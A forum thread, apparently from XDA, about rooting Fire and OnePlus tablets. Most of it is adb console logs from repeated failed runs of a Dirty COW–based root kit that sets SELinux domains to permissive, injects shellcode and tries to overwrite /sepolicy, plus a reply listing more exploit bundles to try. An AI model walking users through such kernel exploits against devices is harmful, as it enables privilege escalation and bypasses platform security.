<WSRoot><InitResource>0</InitResource></WSRoot>
Decrypt Success: /data/local/tmp/fileWork
Output File Name: /data/local/tmp/fileWork.
<WSRoot><Decrypt>0</Decrypt></WSRoot>
extracting: /data/local/tmp/Bridge_wsroot.sh
extracting: /data/local/tmp/krdirtyCow32
extracting: /data/local/tmp/krdirtyCow64
extracting: /data/local/tmp/libsupol.so
extracting: /data/local/tmp/my.sh
extracting: /data/local/tmp/mysupolicy
extracting: /data/local/tmp/patch_script.sh
extracting: /data/local/tmp/root3
<WSRoot><Decompression>0</Decompression></WSRoot>
execute string: /data/local/tmp/root3 /data/local/tmp/ 2
WARNING: linker: /data/local/tmp/root3: unused DT entry: type 0x6ffffffe arg 0x600
WARNING: linker: /data/local/tmp/root3: unused DT entry: type 0x6fffffff arg 0x1
ro.build.version.sdk :22
ro.product.cpu.abi :arm64-v8a
is x64
execute string: /data/local/tmp/krdirtyCow64 /data/local/tmp/ 2
WARNING: linker: /data/local/tmp/krdirtyCow64: unused DT entry: type 0x6ffffffe arg 0xd30
WARNING: linker: /data/local/tmp/krdirtyCow64: unused DT entry: type 0x6fffffff arg 0x1
path : /data/local/tmp/
path : /data/local/tmp
[*] path_script:/data/local/tmp/patch_script.sh /data/local/tmp
rm: /data/local/tmp/sepolicy: No such file or directory
rm: /data/local/tmp/load: No such file or directory
supolicy v2.76 (ndk:armeabi) - Copyright (C) 2014-2016 - Chainfire
Patching policy [/data/local/tmp/sepolicy] --> [/data/local/tmp/load] ...
-permissive:zygote=ok
-permissive:kernel=ok
-permissive:init=ok
-permissive:su=ok
-permissive:init_shell=ok
-permissive:shell=ok
-permissive:servicemanager=ok
- Success
find_opcode offset:2d0 opcode:aaffbbee
find ok star:7f9a42c008 end:7f9a42c2d8 size:2d0
sh : /data/local/tmp/my.sh /data/local/tmp 2 fwrite is count 209221 /data/local/tmp/load1
fwrite is count 54048 /data/local/tmp/load2
find_opcode offset:2b4 opcode:eaeaeaea
find_opcode offset:2b8 opcode:ebebebeb
find_opcode offset:22d opcode:abababab
load = 40465 load1 = 33145 load2 = d320
find_opcode offset:2b0 opcode:efefefef
find_opcode offset:24d opcode:cdcdcdcd
find_opcode offset:2bc opcode:acacacac
init_shellcode
loadsize:263269
loadpath:/data/local/tmp/load
shpath:/data/local/tmp/my.sh /data/local/tmp 2
shpath:2bc
open /proc
PID:188
find logd pid : bc
_inject_start_s:0x7f9a42c008
Copying /sepolicy to /data/local/tmp/cp_sepolicy
cow_exploit_mv_file_init: Overriding /sepolicy from /data/local/tmp/load1
size: 209221
[*] mmap 0x7f9a225000;
[*] exploit (patch)
[*] currently 0x7f9a225000=8f97cff8c
sched_setaffinity: Invalid argument[*] madvise = 0x7f9a225000 209221
checking the patch ... exploit
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
exit fork(), loop time more then 30s
<WSRoot><Exploit>0x00000332</Exploit></WSRoot>
check done
sched_setaffinity: Invalid argument<WSRoot><Exploit>0x00000382</Exploit></WSRoot>
FAIL : load1 --> /sepolicy
<WSRoot><Exploit>0x00000341</Exploit></WSRoot>
<WSRoot><Exploit>0x00000881</Exploit></WSRoot>
<WSRoot><Done>0x00000172</Done></WSRoot>
1|[email protected]:/data/local/tmp $ ls
Bridge_wsroot.sh
Matrix
Superuser.apk
busybox
cp_sepolicy
ddexe
debuggerd
fileWork
fileWork.
install-recovery.sh
krdirtyCow32
krdirtyCow64
libsupol.so
load
load1
load2
my.sh
mysupolicy
patch_script.sh
pidof
root3
sepolicy
start_wssud.sh
su
su_arm64
supolicy
toolbox
wsroot.sh
[email protected]:/data/local/tmp $ rm *
[email protected]:/data/local/tmp $ ls
[email protected]:/data/local/tmp $ exit
C:\android\platform-tools>adb reboot
---try 2---
C:\android\platform-tools>adb shell
[email protected]:/ $ cp /sdcard/c/* /data/local/tmp
[email protected]:/ $ cd /data/local/tmp
[email protected]:/data/local/tmp $ ls -l
-rw-rw---- shell shell 109400 2018-01-19 21:37 Matrix
-rw-rw---- shell shell 6488979 2018-01-19 21:37 Superuser.apk
-rw-rw---- shell shell 67 2018-01-19 21:37 ddexe
-rw-rw---- shell shell 1756 2018-01-19 21:37 debuggerd
-rw-rw---- shell shell 202824 2018-01-19 21:37 fileWork
-rw-rw---- shell shell 629 2018-01-19 21:37 install-recovery.sh
-rw-rw---- shell shell 13592 2018-01-19 21:37 pidof
-rw-rw---- shell shell 1912 2018-01-19 21:37 start_wssud.sh
-rw-rw---- shell shell 75348 2018-01-19 21:37 su
-rw-rw---- shell shell 108480 2018-01-19 21:37 su_arm64
-rw-rw---- shell shell 101852 2018-01-19 21:37 supolicy
-rw-rw---- shell shell 177316 2018-01-19 21:37 toolbox
-rw-rw---- shell shell 38830 2018-01-19 21:37 wsroot.sh
[email protected]:/data/local/tmp $ chmod 755 *
[email protected]:/data/local/tmp $ ./Matrix /data/local/tmp 2
<WSRoot><Command>0</Command></WSRoot>
<WSRoot><InitResource>0</InitResource></WSRoot>
Decrypt Success: /data/local/tmp/fileWork
Output File Name: /data/local/tmp/fileWork.
<WSRoot><Decrypt>0</Decrypt></WSRoot>
extracting: /data/local/tmp/Bridge_wsroot.sh
extracting: /data/local/tmp/krdirtyCow32
extracting: /data/local/tmp/krdirtyCow64
extracting: /data/local/tmp/libsupol.so
extracting: /data/local/tmp/my.sh
extracting: /data/local/tmp/mysupolicy
extracting: /data/local/tmp/patch_script.sh
extracting: /data/local/tmp/root3
<WSRoot><Decompression>0</Decompression></WSRoot>
execute string: /data/local/tmp/root3 /data/local/tmp/ 2
WARNING: linker: /data/local/tmp/root3: unused DT entry: type 0x6ffffffe arg 0x600
WARNING: linker: /data/local/tmp/root3: unused DT entry: type 0x6fffffff arg 0x1
ro.build.version.sdk :22
ro.product.cpu.abi :arm64-v8a
is x64
execute string: /data/local/tmp/krdirtyCow64 /data/local/tmp/ 2
WARNING: linker: /data/local/tmp/krdirtyCow64: unused DT entry: type 0x6ffffffe arg 0xd30
WARNING: linker: /data/local/tmp/krdirtyCow64: unused DT entry: type 0x6fffffff arg 0x1
path : /data/local/tmp/
path : /data/local/tmp
[*] path_script:/data/local/tmp/patch_script.sh /data/local/tmp
rm: /data/local/tmp/sepolicy: No such file or directory
rm: /data/local/tmp/load: No such file or directory
supolicy v2.76 (ndk:armeabi) - Copyright (C) 2014-2016 - Chainfire
Patching policy [/data/local/tmp/sepolicy] --> [/data/local/tmp/load] ...
-permissive:zygote=ok
-permissive:kernel=ok
-permissive:init=ok
-permissive:su=ok
-permissive:init_shell=ok
-permissive:shell=ok
-permissive:servicemanager=ok
- Success
find_opcode offset:2d0 opcode:aaffbbee
find ok star:7f7acc6008 end:7f7acc62d8 size:2d0
sh : /data/local/tmp/my.sh /data/local/tmp 2 fwrite is count 209221 /data/local/tmp/load1
fwrite is count 54048 /data/local/tmp/load2
find_opcode offset:2b4 opcode:eaeaeaea
find_opcode offset:2b8 opcode:ebebebeb
find_opcode offset:22d opcode:abababab
load = 40465 load1 = 33145 load2 = d320
find_opcode offset:2b0 opcode:efefefef
find_opcode offset:24d opcode:cdcdcdcd
find_opcode offset:2bc opcode:acacacac
init_shellcode
loadsize:263269
loadpath:/data/local/tmp/load
shpath:/data/local/tmp/my.sh /data/local/tmp 2
shpath:2bc
open /proc
PID:188
find logd pid : bc
_inject_start_s:0x7f7acc6008
Copying /sepolicy to /data/local/tmp/cp_sepolicy
cow_exploit_mv_file_init: Overriding /sepolicy from /data/local/tmp/load1
size: 209221
[*] mmap 0x7f7aabf000;
[*] exploit (patch)
[*] currently 0x7f7aabf000=8f97cff8c
sched_setaffinity: Invalid argument[*] madvise = 0x7f7aabf000 209221
checking the patch ... exploit
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
exit fork(), loop time more then 30s
<WSRoot><Exploit>0x00000332</Exploit></WSRoot>
check done
sched_setaffinity: Invalid argument<WSRoot><Exploit>0x00000382</Exploit></WSRoot>
FAIL : load1 --> /sepolicy
<WSRoot><Exploit>0x00000341</Exploit></WSRoot>
--- try 3 ---
C:\android\platform-tools>adb shell
[email protected]:/ $ cp /sdcard/c/* /data/local/tmp
[email protected]:/ $ cd /data/local/tmp
[email protected]:/data/local/tmp $ chmod 755 *
[email protected]:/data/local/tmp $ ./Matrix /data/local/tmp 2
<WSRoot><Command>0</Command></WSRoot>
<WSRoot><InitResource>0</InitResource></WSRoot>
Decrypt Success: /data/local/tmp/fileWork
Output File Name: /data/local/tmp/fileWork.
<WSRoot><Decrypt>0</Decrypt></WSRoot>
extracting: /data/local/tmp/Bridge_wsroot.sh
extracting: /data/local/tmp/krdirtyCow32
extracting: /data/local/tmp/krdirtyCow64
extracting: /data/local/tmp/libsupol.so
extracting: /data/local/tmp/my.sh
extracting: /data/local/tmp/mysupolicy
extracting: /data/local/tmp/patch_script.sh
extracting: /data/local/tmp/root3
<WSRoot><Decompression>0</Decompression></WSRoot>
execute string: /data/local/tmp/root3 /data/local/tmp/ 2
WARNING: linker: /data/local/tmp/root3: unused DT entry: type 0x6ffffffe arg 0x600
WARNING: linker: /data/local/tmp/root3: unused DT entry: type 0x6fffffff arg 0x1
ro.build.version.sdk :22
ro.product.cpu.abi :arm64-v8a
is x64
execute string: /data/local/tmp/krdirtyCow64 /data/local/tmp/ 2
WARNING: linker: /data/local/tmp/krdirtyCow64: unused DT entry: type 0x6ffffffe arg 0xd30
WARNING: linker: /data/local/tmp/krdirtyCow64: unused DT entry: type 0x6fffffff arg 0x1
path : /data/local/tmp/
path : /data/local/tmp
[*] path_script:/data/local/tmp/patch_script.sh /data/local/tmp
rm: /data/local/tmp/sepolicy: No such file or directory
rm: /data/local/tmp/load: No such file or directory
supolicy v2.76 (ndk:armeabi) - Copyright (C) 2014-2016 - Chainfire
Patching policy [/data/local/tmp/sepolicy] --> [/data/local/tmp/load] ...
-permissive:zygote=ok
-permissive:kernel=ok
-permissive:init=ok
-permissive:su=ok
-permissive:init_shell=ok
-permissive:shell=ok
-permissive:servicemanager=ok
- Success
find_opcode offset:2d0 opcode:aaffbbee
find ok star:7fa3584008 end:7fa35842d8 size:2d0
sh : /data/local/tmp/my.sh /data/local/tmp 2 fwrite is count 209221 /data/local/tmp/load1
fwrite is count 54048 /data/local/tmp/load2
find_opcode offset:2b4 opcode:eaeaeaea
find_opcode offset:2b8 opcode:ebebebeb
find_opcode offset:22d opcode:abababab
load = 40465 load1 = 33145 load2 = d320
find_opcode offset:2b0 opcode:efefefef
find_opcode offset:24d opcode:cdcdcdcd
find_opcode offset:2bc opcode:acacacac
init_shellcode
loadsize:263269
loadpath:/data/local/tmp/load
shpath:/data/local/tmp/my.sh /data/local/tmp 2
shpath:2bc
open /proc
PID:188
find logd pid : bc
_inject_start_s:0x7fa3584008
Copying /sepolicy to /data/local/tmp/cp_sepolicy
cow_exploit_mv_file_init: Overriding /sepolicy from /data/local/tmp/load1
size: 209221
[*] mmap 0x7fa337d000;
[*] exploit (patch)
[*] currently 0x7fa337d000=8f97cff8c
sched_setaffinity: Invalid argument[*] madvise = 0x7fa337d000 209221
checking the patch ... exploit
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
sleep 1s
exit fork(), loop time more then 30s
<WSRoot><Exploit>0x00000332</Exploit></WSRoot>
check done
sched_setaffinity: Invalid argument<WSRoot><Exploit>0x00000382</Exploit></WSRoot>
FAIL : load1 --> /sepolicy
<WSRoot><Exploit>0x00000341</Exploit></WSRoot>[/HIDE]
got the same thing.
i even tried other dirtyc0w versions and compiling my own. do i need to use different files to overwrite on the HD 8?
and btw im running 5.3.3.0 FireOS kernel 3.18, should totally be vulnerable right OP?
any chance of helping us sort this out on the 8?
Ae3NerdGod said:
got the same thing.
i even tried other dirtyc0w versions and compiling my own. do i need to use different files to overwrite on the HD 8?
and btw im running 5.3.3.0 FireOS kernel 3.18, should totally be vulnerable right OP?
any chance of helping us sort this out on the 8?
Click to expand...
Click to collapse
The 2017 HD 10 is the only Fire tablet I have access to. These are the other exploits the doctor downloads (if the one in the OP fails; it usually doesn't fail on the 2017 HD 10, but one can manually delete files in /system to force it to fail): 6301805.zip, 21486085.zip, 1805PXN.zip, 7083636.zip.
Try each .zip, repeating the steps in the OP. See the OP for the output that should be generated when you execute the files in 20165195.zip.
Keep in mind that many of these CVE are years old and have been patched (or so they claim). For some reason, the 2017 HD 10 is still vulnerable.
Thanks for the post. I already rooted using the kingoroot method in the other thread, otherwise I would try this. One question though, after following that other root method I am stuck with having to set the supersu access mode to "Grant" which honestly bugs me. Had I followed your guide would I have been able to set the access mode to "Prompt"?
Oh one more thing, we cannot flash custom recovery on this device right? locked bootloader and all?
last week i've asked about adb root but i didn't succeed to solve it .
means ro.secure=0 is still blocking my adb shell or adb root.
my question now is that we are trying to running iperf via the shell and not via the vysor.
but we are rejecting because permission deny.
drwxr-xr-x 3 root root 60 1970-04-21 23:37 vendor
1|OnePlus7Pro:/mnt $ ./ipef
/system/bin/sh: ./ipef: inaccessible or not found
127|OnePlus7Pro:/mnt $ ./iperf
/system/bin/sh: ./iperf: can't execute: Permission denied
126|OnePlus7Pro:/mnt $ ./iperf
/system/bin/sh: ./iperf: can't execute: Permission denied
126|OnePlus7Pro:/mnt $ ls -lrt
ls: ./media_rw: Permission denied
ls: ./asec: Permission denied
ls: ./product: Permission denied
total 168
drwxr-xr-x 3 root root 60 1970-04-21 23:37 user
drwx------ 3 root root 60 1970-04-21 23:37 secure
drwxr-xr-x 2 root system 40 1970-04-21 23:37 obb
drwxrwx--x 2 system system 40 1970-04-21 23:37 expand
lrwxrwxrwx 1 root root 21 1970-04-21 23:37 sdcard -> /storage/self/primary
drwx------ 6 root root 120 1970-04-21 23:37 runtime
drwx--x--x 2 root root 40 1970-04-21 23:37 appfuse
drwxr-xr-x 3 root root 60 1970-04-21 23:37 vendor
-rwxr-xr-x 1 root root 170480 2020-07-14 11:06 iperf
1|OnePlus7Pro:/mnt $ cd user
OnePlus7Pro:/mnt/user $ ls
0
OnePlus7Pro:/mnt/user $ cd ..
OnePlus7Pro:/mnt $ cp iperf /mnt/user/
cp: /mnt/user//iperf: Permission denied
1|OnePlus7Pro:/mnt $ cp iperf /mnt/user/
cp: /mnt/user//iperf: Permission denied
1|OnePlus7Pro:/mnt $
1|OnePlus7Pro:/mnt $
1|OnePlus7Pro:/mnt $
1|OnePlus7Pro:/mnt $
1|OnePlus7Pro:/mnt $
1|OnePlus7Pro:/mnt $
1|OnePlus7Pro:/mnt $
1|OnePlus7Pro:/mnt $
1|OnePlus7Pro:/mnt $ exit
MacBook-Pro-de-Victor-2latform-tools root#
MacBook-Pro-de-Victor-2latform-tools root#
MacBook-Pro-de-Victor-2latform-tools root# ./adb shell /data/iperf -h
/system/bin/sh: /data/iperf: can't execute: Permission denied
MacBook-Pro-de-Victor-2latform-tools root#
replaying to my self
Have use x-plore app to changing /data/app permission then iperf file was copied to this folder
1|OnePlus7Pro:/bin $
1|OnePlus7Pro:/bin $ cd /data/app
OnePlus7Pro:/data/app $ ./iperf -h
Usage: iperf [-s|-c host] [options]
iperf [-h|--help] [-v|--version]
Client/Server:
-f, --format [kmKM] format to report: Kbits, Mbits, KBytes, MBytes
-i, --interval # seconds between periodic bandwidth reports
-l, --len #[KM] length of buffer to read or write (default 8 KB)
-m, --print_mss print TCP maximum segment size (MTU - TCP/IP header)
-o, --output <filename> output the report or error message to this specified file
-p, --port # server port to listen on/connect to
-u, --udp use UDP rather than TCP
-w, --window #[KM] TCP window size (socket buffer size)
-B, --bind <host> bind to <host>, an interface or multicast address
-C, --compatibility for use with older versions does not sent extra msgs
-M, --mss # set TCP maximum segment size (MTU - 40 bytes)
-N, --nodelay set TCP no delay, disabling Nagle's Algorithm
-V, --IPv6Version Set the domain to IPv6
Server specific:
-s, --server run in server mode
-U, --single_udp run in single threaded UDP mode
-D, --daemon run the server as a daemon
Client specific:
-b, --bandwidth #[KM] for UDP, bandwidth to send at in bits/sec
(default 1 Mbit/sec, implies -u)
-c, --client <host> run in client mode, connecting to <host>
-d, --dualtest Do a bidirectional test simultaneously
-n, --num #[KM] number of bytes to transmit (instead of -t)
-r, --tradeoff Do a bidirectional test individually
-t, --time # time in seconds to transmit for (default 10 secs)
-F, --fileinput <name> input the data to be transmitted from a file
-I, --stdin input the data to be transmitted from stdin
-L, --listenport # port to receive bidirectional tests back on
-P, --parallel # number of parallel client threads to run
-T, --ttl # time-to-live, for multicast (default 1)
-Z, --linux-congestion <algo> set TCP congestion control algorithm (Linux only)
Miscellaneous:
-x, --reportexclude [CDMSV] exclude C(connection) D(data) M(multicast) S(settings) V(server) reports
-y, --reportstyle C report as a Comma-Separated Values
-h, --help print this message and quit
-v, --version print version information and quit
[KM] Indicates options that support a K or M suffix for kilo- or mega-
The TCP window size option can be set by the environment variable
TCP_WINDOW_SIZE. Most other options can be set by an environment variable
IPERF_<long option name>, such as IPERF_BANDWIDTH.
Report bugs to <[email protected]rceforge.net>
1|OnePlus7Pro:/data/app $
[email protected] said:
last week i've asked about adb root but i didn't succeed to solve it .
means ro.secure=0 is still blocking my adb shell or adb root.
...
Click to expand...
Click to collapse
@[email protected] THREAD CLOSED as you've created already another thread with this topic, and to which your above posts have been copied: https://forum.xda-developers.com/oneplus-7-pro/help/oneplus7-pro-ro-secure0-t4127227
XDA Forum Rules (excerpt):
...
5. Create a thread topic or post a message only once, this includes external links & streaming media.
As a large forum, we don't need unnecessary clutter. You're free to edit your message as you like, so if you do not receive an answer, revisit your message and see if you can describe your problem better. Not everyone is online at the same time so it might take a while before you receive an answer.
You can bump your unanswered question once every 24 hours
Duplicate threads and posts will be removed
Always post in an existing thread if a topic already exists, before creating a new thread.
Use our search function to find the best forum for your device.
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Please note above that I've highlighted in red, and please refrain from creating a new thread everytime!